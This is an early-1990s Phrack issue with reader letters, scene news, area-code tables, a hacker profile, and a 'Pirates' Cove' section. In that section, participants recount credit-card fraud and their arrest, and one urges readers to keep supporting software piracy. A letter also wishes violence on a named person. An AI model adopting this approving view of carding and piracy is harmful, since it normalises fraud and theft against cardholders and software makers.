Allow me to clear some things up. Babbs' Boy was a friend of mine a while back and was more of a Game Programmer than a "hacker" (or "cracker," if you want to be anal about it). Babbs' Boy was NEVER in MsU. He had asked me if he could write a file for the group. We informed him that he could if he wanted to, but he could in no way represent us. According to Babbs' Boy, he retrieved the information from a copy of the ECPA. Since we were not releasing that as a MsU file, we never bothered to check any of the said information out. In fact, MsU does not create files for public display, although individual members may.

Apparently Babbs' Boy uploaded his copy of the document to Ripco, in which it went wideband from there. I am told that 3 other documents were released in MSU's name, by someone using one of my very old handles of Raistlin. I can assure you that these documents were not released by any legitimate (old or current) member of Midnight Society Underground.

Again, to clear things up, Babbs' is not nor ever was a member of MsU, nor are there any legitimate public releases from our group.

Besides, we don't let people in the group who spell Feds "FEDZ" ..the shit just ain't done.

Sarlo of Midnight Society Underground [MsU]

sarlo@gagme.chi.il.us

________________________________________

Date: March 22, 1992

From: "Michael E. Marotta" <MERCURY@lcc.edu>

Subject: Censorship in Cyberspace

To: Phrack Staff

I have been hired to write an article about the control of information in cyberspace. We all know that Fidonet moderators and sysops devote their OWN resources for us to use. There is no question about the "right" of the sysop or moderator to delete messages and users. The practice of censorship is nonetheless newsworthy.

If YOU have experienced censorship on Fidonet or Usenet, Prodigy or CompuServe, or another BBS or network, I am interested in learning about your story. If you can supply downloads of actual encounters, so much the better.

If you have ever been censored, send me physical world mail about the event.

Michael E. Marotta

5751 Richwood #34

Lansing, Mich. 48911

________________________________________

Dear Phrack Staff,

There are very serious negative consequences surrounding the use of modems and computers in our society. Because of this, all children under the age of 18 should be prohibited from using a computer in connection with a modem or that is connected to any computer service.

Please read my attached news release and join me in spreading this message.

‑‑ Ron Hults

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

NEWS RELEASE March 18, 1992

PEDOPHILIA, COMPUTERS, AND CHILDREN

If you have children in your home and a home computer complete with a telephone modem, your child is in potential danger of coming in contact with deviant and dangerous criminals.

Using the computer modem, these unsavory individuals can communicate directly with your child without your knowledge. Just as importantly, you should be concerned if your child has a friendship with other youth who has access to this equipment in an unsupervised environment.

Using a computer and a modem, your child can readily access community "bulletin boards" and receive sexually explicit and graphic material from total strangers who can converse with your children, individuals you quite probably wouldn't even talk with.

The concern becomes more poignant when stated otherwise; would you let a child molester, murderer, or convicted criminal into your home to meet alone with your child?

According to Fresno Police Detective Frank Clark, "your child can be in real danger from pedophiles, rapists, satanic cultists and other criminals known to be actively engaged in computer conversation. Unwittingly, naive children with a natural curiosity can be victimized; emerging healthy sexual feelings of a child can be subverted into a twisted, unnatural fetish affecting youth during a vulnerable time in their lives."

It is anticipated that parents, when armed with the knowledge that this activity exists and awareness that encounters with such deviant individuals can result in emotional and psychological damage to their child, will take appropriate measures to eliminate the possibility of strangers interacting with their children via a computer.

For Further Information, contact Ron Hults (209)498‑4568

________________________________________

Date: March 30, 1992

From: Anonymous

To: Knight Lightning <kl@stormking.com>

Subject: Thanks

Dear Knight Lightning,

I would like to thank you for the message you wrote to Dale (scumbag) Drew. Although the fact is that he will only be slightly inconvenienced by having to dig up issues of Phrack on his own instead of having them delivered to his mailbox, his being refused to be added to the mailing list means a lot more. If I were him, I would consider it a slap in the face (since it seems almost as bad, IMO, as being blacklisted). :)

May he run into 10 homosexual wrestlers in a dark alley.

________________________________________

Review of Intertek Winter 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

325 Ellwood Beach, #3 Subscription Rates:

Goleta, CA 93117 US : 4 issues (2 year) $14.00.

Internet: steve@cs.ucsb.edu OS : 4 issues (2 year) $18.20. Phone: 805‑685‑6557 Back issues : $5.00 ea.

by Dispater

Intertek is the *SHARPEST* looking 'zine I've seen yet that directly addresses the world of cyberspace. It's not "high res" color or artsy‑fartsy like Mondo 2000, but it is at least more interesting to read as a whole. I think it looks better and is more direct and to the point. You don't have to wade through a bunch of trash to get to something interresting.

This issue of Intertek focused on "virtual communities." The topics included: "Bury USENET," "Electropolis (IRC)," "Social Organization of the Computer Underground" by Gordon Meyer, "Real World Kerberos," and "Mudding: Social Phenomena in Text‑Based Virtual Realities." Every issue also contains the top news tidbits about some truly high‑tech achievements that go unnoticed by the mainstream media (I guess the Mike Tyson trial gets more ratings, huh?). All in all, it was much more interesting to me than the last issue (Volume 3.2). It's magazines like this that I hope will help make the mainstream media obsolete.

If you are looking for "how‑to" techie projects or hacking tips, this is NOT for you! Many hackers I know don't like it and think it's boring as hell; 2600 and Phrack it isn't. However, if you are interested in the "big picture" of the cyberspace (what ever that means! :) or are, say, interested in studying cyberspace from an uninvolved level, this is the magazine for you. Intertek is full of social insight into what makes the cyberspace tick. It does this much better than the feeble attempts other magazines have made. For only $7.00 a year, I think it's worth it.

________________________________________

Hacking in Australia

~~~~~~~~~~~~~~~~~~~~

By The Cure

Australia has been very sparse after my BBS (Micromation) was closed down. A lot of people took it as a warning, and closed up shop as well. The Amiga warez BBSes still continue to flourish, as do some IBM ones. Because of the expense of phone lines ($300 installation of a line, $250 per year rental [in American dollars]) we tend to have a lot of BBSes that are dual purpose, i.e. both warez and phreak. Devastation Phase One is a great example: huge Amiga/ IBM/phreak/etc. I, however, was devoted to phreak/hack/etc. We did have a few busts actually, and the police were called in to trace all calls through Vicnet and some people I know were caught. We've got a few warez‑monger type people here that have been busted for "pitting" (climbing into telecom phone pits, and hooking up straight to the lines) ‑ and I had my knuckles rapped by my university. Phoenix's court case still hasn't been settled (he's had 35 of the 47 charges against him dropped). Comserve has finally made it down under, and they're footing the bill for the first year, allowing us to be on Comserve in the States for a while. Our telephone company (Telecom) is a government monopoly, and we've only just passed legislation to allow competition. The first carrier allowed will be a company called Optus. Call waiting, conferencing, etc. is almost standard here now.

________________________________________

Censorship in Iowa

~~~~~~~~~~~~~~~~~~

From: Mike Begley <spam@iastate.edu>

Hi. I got your name from Erik Bloodaxe. He said you might be able to help us out with a minor problem we're having here. The computation center at Iowa State University will very soon institute a policy of censorship of a number of groups of questionable nature, specifically the alt.sex hierarchy, alt.drugs, and a few other similar groups.

I wish to conduct a survey of the users of our computer system, but the university specificly prohibits mass mailings.

I'm frightened by censorship, and I want to fight this as best I can. If you would be able to do this favor for us, you would be helping to fight electronic censorship and suppression of free expression.

________________________________________

Phrack FTP Sites

~~~~~~~~~~~~~~~~

quartz.rutgers.edu (128.6.60.6) mc.lcs.mit.edu (18.26.0.179) Location: /pub/computer/law Location: /its/ai/digex

mintaka.lcs.mit.edu (18.26.0.36) coombs.anu.edu.au (130.56.96.2) Location: /telecom‑archives Location: /inbound

wuarchive.wustl.edu (128.252.135.4) ftp.eff.org (192.88.144.4) Location: /doc/policy/pub/cud/Phrack Location: /pub/cud/Phrack

nic.funet.fi (128.214.6.100) cs.dal.ca (129.173.4.5) Location: /pub/doc/phrack Location: /pub/comp.archives

chsun1.spc.uchicago.edu (128.135.46.7) ftp.uu.net (137.39.1.9) Location: /pub/cud/phrack Location: /tmp

rascal.ics.utexas.edu (128.83.138.20) relay.cs.toronto.edu (128.100.3.6) Location: /misc/ra/sa/ULM.DE Location: /doc/telecom‑archives

aix370.rrz.uni‑koeln.de (134.95.132.2)

Location: /pub/usenet/comp.archives/hackers/journals

titania.mathematik.uni‑ulm.de (134.60.66.21)

Location: /info

src.doc.ic.ac.uk (146.169.3.7)

Location: /usenet/comp.archives/hackers/journals

bric‑a‑brac.apple.com (130.43.2.3)

Location: /pub/stud_reps

faui43.informatik.uni‑erlangen.de (131.188.31.3)

Location: /portal/mounts/cyber/pcd/freeware2/magazine

srawgw.sra.co.jp (133.137.4.3)

Location: /.a/sranha‑bp/arch/arch/comp.archives/hackers/sites

________________________________________

What's Your NPA These Days?

~~~~~~~~~~~~~~~~~~~~~~~~~~~

<><><><><><><><><

<>

<> AREA CODE SPLITS OF 1991 <> <> Researched and Collected <>

<> by <Flash!Point> <>

<>

<><><><><><><><><

BALTIMORE, MARYLAND

C&P Telephone Company Report for 301 NPA Split

NXXs Converting to NPA 410

205 208 213 221 222 224 225 226 228 232 233 234 235 237 239 242 243 244 247 250 252 254 255 256 257 260 263 265 266 267 268 269 272 273 275 276 278 280 281 282 284 285 287 288 289 290 291 296 298 307 312 313 316 319 321 323 325 326 327 328 329 332 333 335 337 338 339 342 343 346 347 348 351 352 354 355 356 357 358 360 361 362 363 364 366 367 368 370 374 376 377 378 379 381 382 383 385 388 389 391 392 393 396 397 398 404 425 426 429 433 435 437 438 440 442 444 446 448 450 452 455 456 457 458 461 462 465 466 467 471 472 476 477 479 481 482 483 484 485 486 488 489 494 514 515 516 521 522 523 524 525 526 527 528 529 531 532 533 534 535 536 537 538 539 541 542 543 544 546 547 548 549 550 551 553 554 555 556 557 558 560 561 562 563 566 569 573 574 575 576 578 581 583 584 586 591 592 594 597 602 605 612 613 614 623 624 625 626 628 631 632 633 634 635 636 637 638 639 641 642 643 644 646 647 648 651 653 655 658 659 661 664 665 666 667 668 669 671 672 673 674 675 676 677 679 682 683 684 685 686 687 691 692 693 712 715 719 720 721 723 726 727 728 730 732 734 740 741 742 744 745 747 748 749 750 751 752 754 755 756 757 758 760 761 764 765 766 768 771 775 778 780 781 783 784 785 787 788 789 792 793 795 796 798 799 806 813 819 820 821 823 825 827 828 830 832 833 835 836 837 838 841 844 848 849 850 857 859 860 861 866 867 873 875 876 877 879 880 882 883 885 886 887 889 892 893 896 906 915 920 922 923 928 931 936 938 939 941 943 944 945 947 950 954 955 956 957 960 962 964 965 966 968 969 971 974 976 978 979 987 988 991 992 993 995 996 997 998 999

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

SAN FRANCISCO, CALIFORNIA Pacific Bell Customer Report For 415 NPA Split

NXXs Converting to NPA 510

204 208 210 215 222 223 226 228 229 231 233 234 235 236 237 238 245 248 251 253 254 256 261 262 263 264 265 268 269 271 272 273 275 276 277 278 279 283 284 287 293 294 295 297 298 302 307 309 310 313 317 339 351 352 356 357 370 372 373 374 376 385 410 412 414 416 417 419 420 422 423 425 426 427 428 429 430 432 436 437 438 439 440 443 444 446 447 448 449 451 452 455 458 460 462 463 464 465 466 471 475 481 482 483 484 486 487 489 490 498 504 509

Phrack Pro-Phile on Aristotle

==Phrack Inc.==

Volume Four, Issue Thirty‑Eight, File 3 of 15

==Phrack Pro‑Phile==

Written by Dispater

Created by Taran King (1986)

Welcome to Phrack Pro‑Phile. Phrack Pro‑Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, I bring to you the original of the controversial New TAP Magazine.

Aristotle

~~~~~

________________________________________

Personal

~~~~~~~~

Handle: Aristotle

Call him: Kevin

Past handles: Ed, Bob, Bill, and a multitude of other lame handles. Handle origin: Humanities class in high school.

Date of Birth: April 12, 1970

Age at current date: 22

Height: 5'10"

Weight: 145 lbs.

Eye color: Blue

Hair Color: Red

Computer: IBM‑PS/2 55SX

Sysop/Co‑Sysop of: ALL PAST: Digital Underground, Blitzkreig, some board on a major packet switching network, a board on MIT's FSF machines, and a bazillion other lame boards that I don't care to mention.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I was one of those people that played with phones for as long as I can remember. I guess you could say I started phreaking a few years before WARGAMES came out. After the movie, I found out that other people were interested in phones too. Due to the influx of "elite hackers" after the movie, information became extrememly available. This lead to my existence in the real world of hack/phreak.

Eventually I ended up writing articles for both 2600 and TAP. In the late 80s I restarted TAP with help from some friends and we started to revive one of the first hack/phreak magzines that ever existed.

Having TAP helped us gain a special insight on how the system really works. Some of our issues were cool enough to actually be censored at certain institutions where avid censorship still exists. Also, we were allowed to see how far you could go in expressing your opinion until some bigshot noticed.

Believe it or not though, running a periodical without any income is a major pain. It was well worth it though as I got to meet a lot of cool people and also was able to do something for the computer underground scene. If you currently don't support magazines like 2600, etc., please do. They are doing a lot of work for the community and without them, there would be a major gap in the press regarding the truth about our community.

I exited the hack/phreak world when things got a bit hairy and Craig (Knight Lightning) got nailed. I simply decided that a hobby is not worth going to jail for and that it did not pay the bills either. Anyways, most old hacks eventually reach the point where everything they see seems old and boring. This is where I currently am.

Today I am employed at a computer lab at a large university where I am working on a degree.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Aristotle's Favorite Things

~~~~~~~~~~~~~~~~~~~~~~~~~~~

Women: Karen (To be married soon)

Cars: REAL Cars: '86 Mustang GT, '86 VW Golf, various Porsches. Foods: Anything that you cannot get at a drive‑thru. Music: Metallica, Bach, Danzig, Anthrax.

Authors: All the posters of Alt.Sex

Books: The Art of War

Outdoor fun: Snowboarding

Most Memorable Experiences

~~~~~~~~~~~~~~~~~~~~~~~~~~

o Getting engaged

o My first blue box call

o Watching some guy die after wrecking his car

o Being interviewed by the FBI for something I did not do and then pissing them off by allowing them to prove that they were wrong.

o All of the SummerCons and other assorted h/p meetings.

Some People to Mention

~~~~~~~~~~~~~~~~~~~~~~

o Bill from RNOC : Getting us kicked out of the museum at the Arch. o Cheshire Catalyst : Help with restarting TAP.

o Slave Driver : For his hospitality and the infamous "Guess who/what died in the couch" game.

o The Mentor : For the BBS and his non‑snobbish attitude.

o J.R. "Bob" Dobbs : All the cool blue box info.

o The Not : All the help with Unix

o Taran King : For being an exception to the "Hackers are all geeks" rule. o Knight Lightning : For sending back the pictures and generally being a cool guy.

o Dispater : For having the no‑bullshit attitude and actually getting the job done.

o Nite Ranger : For helping me realize that lamers will always exist (not you though).

o Predat0r : All the experiences.

o All the Legion of d0oDs : For adding to the entertainment at PartyCon.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks?

Of the general population, I would consider about 89.9% to be nerds. I would also consider 65% of the entire population nerds and/or strange. Phreaks may be geeks but each usually has his/her cool qualities as everyone does. Most are socially lacking though. Keep in mind that a hacker/phreak is ALWAYS better than the average GIF viewing geek.

Pirates' Cove

==Phrack Inc.==

Volume Four, Issue Thirty‑Eight, File 4 of 15

Pirates' Cove

Issue Two

By Rambone

Welcome to Issue Two of Pirate's Cove. There is a lot going on in the Pirate community, busts of pirates in the USA and Canada, and new software and operating systems like IBM's OS/2. So sit back and absorb the news.

First on the agenda is to discuss the over‑talked about, and hopefully dead issue of the carding scam initiated by The Grim Reaper and The Not So Humble Babe. The reason Phrack Magazine delayed publishing anything about this bust was because we refused to publish any third party rumors and idle gossip. Now that I have personally spoken with the Grim Reaper, we can shed some light on this subject.

Mike "The Grim Reaper" obviously regrets what has transpired and would like to put this part of his life behind him. At this point in time, he still does not know what is going to happen, and is taking his arrest very seriously. Mike asked me just to use the letter he has written. Some of you may have seen this before, some may not.

****************************************

Statement by The Grim Reaper

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

"Lamer Pirate Magazines, Etc..."

By THE GRIM REAPER

This was originally going to be an article for iNSANITY Magazine #4 called "Lamer Pirate Mags, Etc." to straighten out the complete bullshit and lies in Badnews #7, but seeing as there are so many rumors floating around, and the future of iNSANITY is undecided, I decided to just put out this text file to explain what is really going on, less a few lamers out there spread all kinds of bullshit and lies, as they seem to do so often.

Pretty much everything in Badnews #7 was a complete lie, as most of you already know by now. They didn't have any backdoors to ViSiON‑X, and there aren't and weren't any that allowed someone to get the user list. What happened on Showdown was the Sysop PW was given out to the wrong person, and they used it, so again, nothing but B.S. and hype on their end. While I think the FiRM overhyped themselves, they didn't deserve the ragging they got by BaD, and BaD having failed in their own attempt at a pirate group has no right to criticize ANYONE until they've accomplished the same. Perhaps a few of the other groups could have said something to them (and many talked about it) but they didn't deserve the 3rd Degree from a lamer mag.

The main reason for this article was that while many found the BaD Mag to be so completely full of shit to the point that it was hilarious, some got to thinking that down the line, someone might actually believe some of the B.S. They claimed to be the group that caused the downfall of THG, PE and others, which was a complete joke... They had absolutely nothing to do with any of that. USA had killed off THG, etc... What else was there to straighten up?

"Did they shoot your Dog????"

‑ Anonymous Lamer

So what's up? Well, to make it short and blunt, The NotSoHumble Babe and I were involved in a carding incident. She most likely was being watched by certain people since she had been using false corporations and fake Tax ID Numbers to order games and for suppliers for USA. The Secret Service either stumbled across us that way, from one of the orders gone bad, or from the illegal cash and hardware coming in to Enterprize. The NSH Babe (Amy) had a cash flow from Dist Sites and other hot hardware from USA Sites totalling about $3500‑$5000 a month. She had sent one of her hot laptops she gets every month to Optical Illusion in Canada, and asked him to sell it for her. He wanted to be nice and tried to sell it. A local from his 416 area wanted to buy the laptop. He went to sell it, and was busted by a plainclothes police officer for possession of stolen property of over a $1000.

I found some CC #'s, she had a lot of experience with UPS and FedEx from ordering games, and she thought of a way to pick up the packages. We both placed orders (I placed about 2/3rds since she was picking up, and she placed about a 1/3rd). Most of the stuff wasn't for myself, and was meant for other people (trying to be nice, eh?). In any case, we shouldn't have done it. TNSH Babe wanted to order a A LOT of stuff because, over time, she owed people in USA a lot of hardware they had paid her for, and she had never sent any to them. We ordered a bit too much, more than I thought we should have.

"They had Bulletproof Vests and Grenades??"

‑ Another |<‑Rad D00D!!

So then what? Well, they found out the packages were coming and were waiting for TNSH Babe to pick them up. They went back to her place and she gave them permission to come in and search (dunno what happened in between then). She talked to them and they wanted to have her give some of the stuff to me that she got when we were supposed to meet for the first time at a Meijers parking lot. There were some weird things going on at the time, and an alarm was flashing in the back of my mind, but I decided to ignore it. Anyhow, she handed me a hard drive or something, then, basically, they moved in. I saw a car pulling up, and figured what was going on. One guy said, "Secret Service" (about 6 people), and it kinda went downhill from there. But seriously, they weren't that bad and I cooperated with them.

They wanted to go back to my house and look around, and wanted permission. They said they would have gotten a search warrant, and it was in my best interest to cooperate, so I let them come in. Basically there wasn't anything in the house, I always throw everything out when I am done with it. As far as the computer went, I didn't even have anything Unzipped on the Hard Drive that I hadn't paid for. They wanted to look further on the computer and in the end did take it, but gave me a receipt. I paid for my entire system, so don't listen to some of the lamer textfiles floating around. There wasn't anything on my system, so I might get lucky and they'll give it back. They also took 3 or 4 computers from Amy's place, but left Static with his. This was the first time either of us had done anything like this. There had been a few attempts in the past, but nothing that had ever been followed through, or had worked. No no, I've never been busted for this before, or anything. I've never been arrested for anything before.

"I formatted my Hard Drive 3 Times!!"

Local 313 Sysop

I don't know if it was overreacting, but our dumb situation seemed to affect a lot of other people. The locals over here went apeshit, and many of them formatted their drives and deleted files (20+), and took their boards down temporarily. Many of the major pirate boards decided to power down for a while. Unfortunately many of the truly good boards in the world have gone down, possibly forever. BBS‑A‑Holic has gone down, Enterprize is now PD Only, many INC boards, LSD2 possibly for related reasons, The VOID of course, and many others. Many big names are considering quitting the pirate scene because they think it's not worth it, and they're right. Some of the boards may come back. BBS‑A‑Holic was one of my favorites. Many considered The VOID one of the Top 10 Boards in the world as far as quality went, and I appreciate the users and the support. I worked hard to try to make it the best, and put my heart into it. As are many others, Black Spyrit might be retiring, so I don't know if another iNSANITY Issue will be coming out. It was truly a great mag if you never saw it. The best.

"I heard they were thrown in jail, and fined $72 Million Dollars!!"

Another Neverending Lamer

No matter what or who the issue, this never stops, eh? I wouldn't believe any of the bullshit text files, mostly from jealous people and the few enemies you get when you end up getting towards the top, especially the anonymous (surprise) text file taken off of OOFNet (surprise again, huh? Heh). All are, as always, complete B.S.

Try not to be a lamer. There are too many of 'em, and they do nothing for the pirate world. If you are going to do anything, do SOMETHING. Organize a group of some type, coordinate couriers, do some VGA or ANSI work, or get in a group, but don't be a lamer. Call LD, establish a rep, and see what you are missing. All locals aren't lamers, but 90% are.

A Lamer ‑ A person who calls only local boards, does nothing but leeches files, and doesn't contribute to groups in any ways.

Neither BaD, any locals, or Socrates had anything to do with us getting into trouble in any way.

"Don't try this at home kids."

Grim '92

All things considered, I wish it wouldn't have ended this way. I don't think any of this was good for anyone in the pirate or BBS world. USA is now pretty much a dead group. Many of the best boards have gone down, and others are considering calling it quits because it just isn't worth it. INC never was a for‑profit group, and had no illegitimate cash flow, unlike USA.

****************************************

Rambone's Remarks

~~~~~~~~~~~~~~~~~

Well that's the real story, straight from the horse's mouth. I've read at least a dozen text file's after this one, and I tend to believe what Mike has written. Now Amy (NotSoHumble Babe) tells a different story. According to her text file, she had seldom carded or phreaked before, but no one seems to be able to corroborate this information, and people that know her tend to say she was in deeper than she cares to admit. It's also been brought to my attention that Amy may be volunteering information to the feds about other people. What she has done before or after the bust may or may not be true, but here is her story.

****************************************

Statement by The Not So Humble Babe

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Well, I am sure you have all heard that I had a small legal problem today, and I know how stuff gets blown out of proportion, so I thought I'd explain the story myself. Here goes...

I have carded a few items in the past 3 days, and I have NEVER done this before. The Grim Reaper got CBI accounts and placed orders, and I picked them up. Well, one of the places Grim ordered from was Paradise Computers. They knew it was a bogus order, but told us the package was shipped. Then they called the FEDS. Anyhow, the Feds must have been watching the pickup spot, then following me around until I met up with Grim to deliver his share of the stuff. As soon as we went to make the exchange, the Secret Service, FBI, state police, and local police were running at us with bulletproof vests and automatic guns. They handcuffed us, separated us, and took each of us back to our homes for them to search.

I haven't talked to Grim Reaper since I saw him lying next to me on the ground being arrested. But here's my story. About 20 agents came to my apartment and grabbed all computer equipment without a receipt. So we still have 1 modem, and this computer system. Anyhow, they grabbed every piece of paper they could find. Unfortunately, I am a very organized person, and had "the who's who in the pirate world" written down for my use. So if you ever gave me your real name, number, or address, it is now in the hands of the Secret Service and FBI. This list was quite large, as it took 2 years to compile.

These boys did their homework. They knew Enterprize was USA HQ and they knew my handle, and they knew I supplied the group with software. They weren't going for just anyone here guys; they knew they needed to bust a group leader. Well, they did. Got me on carding, pirating, and a ton of other legal terms having to do with both of these.

I was charged with 6 different counts, each holding a 5‑30 year prison sentence. It doesn't look good for me at all. I'll post a file as soon as I get arraigned and let you guys know what is going on.

But I will say this now, and I MEAN it. I love the groups, the software, and the competition. But regardless of what happens to me, I am done forever. No more NotSoHumble Babe, no more USA. I hate to do this to everyone, but I really don't have a choice. And regardless of who I am that got busted, be strong and support what you believe in your hearts: PIRACY. Don't let them win. You guys can all go on without me. Just promise me you won't give up and throw in the towel. If anyone wants to contact me, you can leave e‑mail on Enterprize for me, or call voice AT YOUR OWN RISK. They told me they were tapping the phone lines.

****************************************

News Flash: Mutli‑Media Aggravation

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mutli‑Media games (CD‑Rom) are being played on the hard drive. There seems to be a trend of starting to send out huge CD‑Rom games electronically through BBSes, the first one being Battle Chess I, and taking as much as 30 megs of hard‑drive space. Soon after, Steller 7, and Wing Commander I started to show up. One of the reason for the start of this was a lack of programs coming down the pike, and one group decided to send Battle Chess out. I haven't seen anything lately, and hope programs meant for the CD‑Rom will stay that way.

****************************************

Another News Flash: OS/2 2.0 GA

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

IBM has released the long anticipated OS/2 (Operating System 2) 2.0 GA. OS/2 2.0 is an alternative to DOS 3.3, 4.01, or the latest, 5.0, and implements true 32 bit technology. There are several ways of using this operating system. OS/2, implementing it's own version of FAT, Dual Boot (which will allow you to be able to use DOS if necessary), and a Multi‑Boot, brings up a prompt a when booting up which allows you to choose which operating system you would like to use (similar to Vpix for Unix and Xenix).

I had the opportunity to view a preview of OS/2 2.0 GA at our local IBM Corporate Building, and to say the least, I was impressed. One of the points stressed at the meeting was the diverse control over many programs at the same time. OS/2 comes with its own operating system, along with a clone of sorts of both DOS and Windows. This feature will enable a user to access a DOS emulation without having to actually boot up DOS on the machine. It also has a Windows emulation which will eradicate the need for a full blown version. The one shortcoming of this is that it is Version 3.0, but I have been informed that 3.1 is right around the corner, and actually saw a demonstration of it.

The true strong point of OS/2 is the mutli‑tasking. After witnessing 15 windows open at the same time, all with programs running concurrently, I truly can say this is a step into the future, and it is here now. My personal experience running 2.0 is very impressive. Being able to properly run a program with the BBS in the background is a welcome treat, and I see no reason to ever support another operating system, until I get my hands on Windows NT.

****************************************

Industry News

~~~~~~~~~~~~~

The long awaited A‑10 Avenger by Spectrum Holybyte has now been pushed back till early next year. This was the next in a series of interactive programs put out by SH to be played over the modem, the first being Falcon 3.0, a 256VGA jet game.

UT (Ultra‑Tech) and EMC (Electro‑Magnetic Crackers) have now merged. This merger will be beneficial to both groups, bringing lacking talents together to form one of the largest cracking groups in the world, one with strong software connections, and the other with cracking resources and existing software support sites. Captain Tom of UT and Cyborg of EMC brought the whole thing together as a reality, and this merger may point them in the same direction as when INC formed their group from several smaller groups.

****************************************

BBS Bust in Canada

~~~~~~~~~~~~~~~~~~

The Federal Investigations Section of the RCMP seized components of an electronic bulletin board system (BBS) "90 North" at a West Island residence. This is believed to be the first execution of a search warrant under the Copyright Act of Canada against an electronic bulletin board system.

The seizure included 10 micro computers, seven modems and the software present on these systems (approximate value of $25,000). An electronic bulletin board is a service which allows personal computer users to exchange messages and to exchange or receive computer files including software, text and digitized images over telephone lines via a modem.

During a four‑month investigation, it was established that the 90 North BBS enabled users to obtain software in exchange for other files or for an annual fee of $49.00. While some of the programs consisted of "shareware" which may legally be distributed in this way, much of the available material was protected under the Copyright Act including beta versions of commercial software packages which have not yet been released on the market. More than 3,000 software programs were available to users of this BBS including WordPerfect 5.0, Microsoft DOS 5.0, Windows 3.0, Lotus 1‑2‑3 for Windows, Borland C++ 2.0, Quattro Pro 3.0, d‑Base IV 1.1, SCO Xenix for DOS, Netware 3.11 and Clipper 5.0.

Charges of commercial distribution of pirated software are planned against the owner and operator of 90 North. Paragraph 42 (1)(c) of the Copyright Act states that "every person who knowingly distributes, infringes, copies of any work in which copyright subsists either for the purpose of trade or to such intent as to affect prejudicially the owner of the copyright, is guilty of an offense and liable on summary conviction, to a fine not exceeding $25,000 or to imprisonment for a term not exceeding six months or to both, or on conviction on indictment, or a fine not exceeding $1 million or to imprisonment for a term not exceeding five years or both."

________________________________________

More Details On The Canadian BBS Bust

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Royal Canadian Mounted Police (RCMP) has, for the first time under the Copyright Act of Canada, seized all the components of an electronic bulletin board (BBS), for providing illegal copies of copyrighted software to its subscribers.

According to Allen Reynolds of the secretariat of the Canadian Alliance Against Software Theft (CAAST), the Federal Investigations Section of the RCMP has not laid formal charges against the West Island, Quebec owner and operator of the BBS. Charges of commercial distribution of pirated software are planned against the owner of 90 NORTH, he said.

CAAST is a Canadian organization made up of ASHTON‑TATE CANADA, LOTUS DEVELOMENT CANADA, MICROSOFT CANADA, NOVELL CANADA, and QUARTERDECK OFFICE SYSTEMS CANADA. Its main objective is to educate the public and business about the hazards of software piracy.

In the raid, the RCMP seized 10 Micro computers, seven modems, and about $25,000 worth of software which was allegedly being distributed to users of the 90 NORTH BBS for an annual $49.00 fee, Reynolds said.

Some of the seized software packages were Wordperfect 5.0, MS‑DOS 5.0, Windows 3.0, Lotus 1‑2‑3 for Windows, dBase IV, Netware 3.11, and Qemm. If charged and convicted on a summary conviction, the 90 NORTH owner could face either a penalty or a fine not exceeding $25,000 or a jail term not exceeding six months or both. If the 90 NORTH owner is convicted on indictment, the penalty is a fine not exceeding $1 million or imprisonment for a term not exceeding five years or both. "I don't know how long it will take to lay charges," Reynolds said. He would not speculate when the RCMP would charge the owner of 90 NORTH, but he did say that the users of the 90 NORTH BBS will not be investigated by by the RCMP.

He added that there is reason to believe that a number of BBSes across Canada are supplying beta test versions of products which can be dangerous to a user's system because they are usually laced with bugs.

****************************************

Rambone's Remarks

~~~~~~~~~~~~~~~~~

I have been informed that there are several more bulletin boards, especially those in the 416 NPA, that are under investigation right now. Most of the sysops being busted are ones that charge for download credits, which is a violation of the Copyright Act for reselling software.

****************************************

New Release

~~~~~~~~~~~

Ultima UnderWorld by Origin

Name: The Stygian Abyss

Company: Origin

Graphics: 256VGA

Sound: SB/SB‑Pro/Adlib/Roland Rating: 10/10

Supplier: High Pockets/Red Runner Copy Protection: None

Date: 3/26/92

Looking for virtual reality in a game? Didn't think you could find it? Welcome to Origin's Ultima UnderWorld, "The Stygian Abyss." Don't let the name fool you, this game does not have any attributes from the Ultima 1‑6 series. You start out in a dark room looking out into what would be called a 3‑D perspective. Picking up the bag in front of you would be your best bet ‑‑ it may have things that you need. Once you are on your way, you will notice how realistic the walls, ground, and ceiling look, almost like you are there. Along the way in your adventure, you will encounter many items that will help you along the way and some that may not, but you will have to decide. There are also many cultures down below that will be friendly and not‑so‑friendly; use your best judgement. Learn all your abilities. They will come in handy down the road. Practice your magic, it may save your life, or help you walk across water (hint). Learning how to jump correctly is important. You'll have to be able to leap across flaming, volcanic ravines to be able to finish the game. When you see writing on the wall or in a scroll with words and telling you to chant this to the Mantra, you better copy them down: They build up your attributes.

All in all, there are 7 levels, and one unexplored level, sporting true 256VGA graphics, SB‑Pro support, and a riveting sound‑track. This is this closest thing to virtual reality graphics in the game market today, and it'll be a while before you play anything else like it.

Network Miscellany IV

==Phrack Inc.==

Volume Four, Issue Thirty‑Eight, File 5 of 15

Network Miscellany IV Compiled from Internet Sources

by Datastream Cowboy

Network Miscellany created by Taran King

Special Internet Connections February 5, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Most Recent Update

Comments to: Scott Yanoff <yanoff@CSD4.CSD.UWM.EDU>

American Philosophy Association

telnet atl.calstate.edu or 130.150.102.33

Login: apa

OFFERS: BBS for APA.

Archie

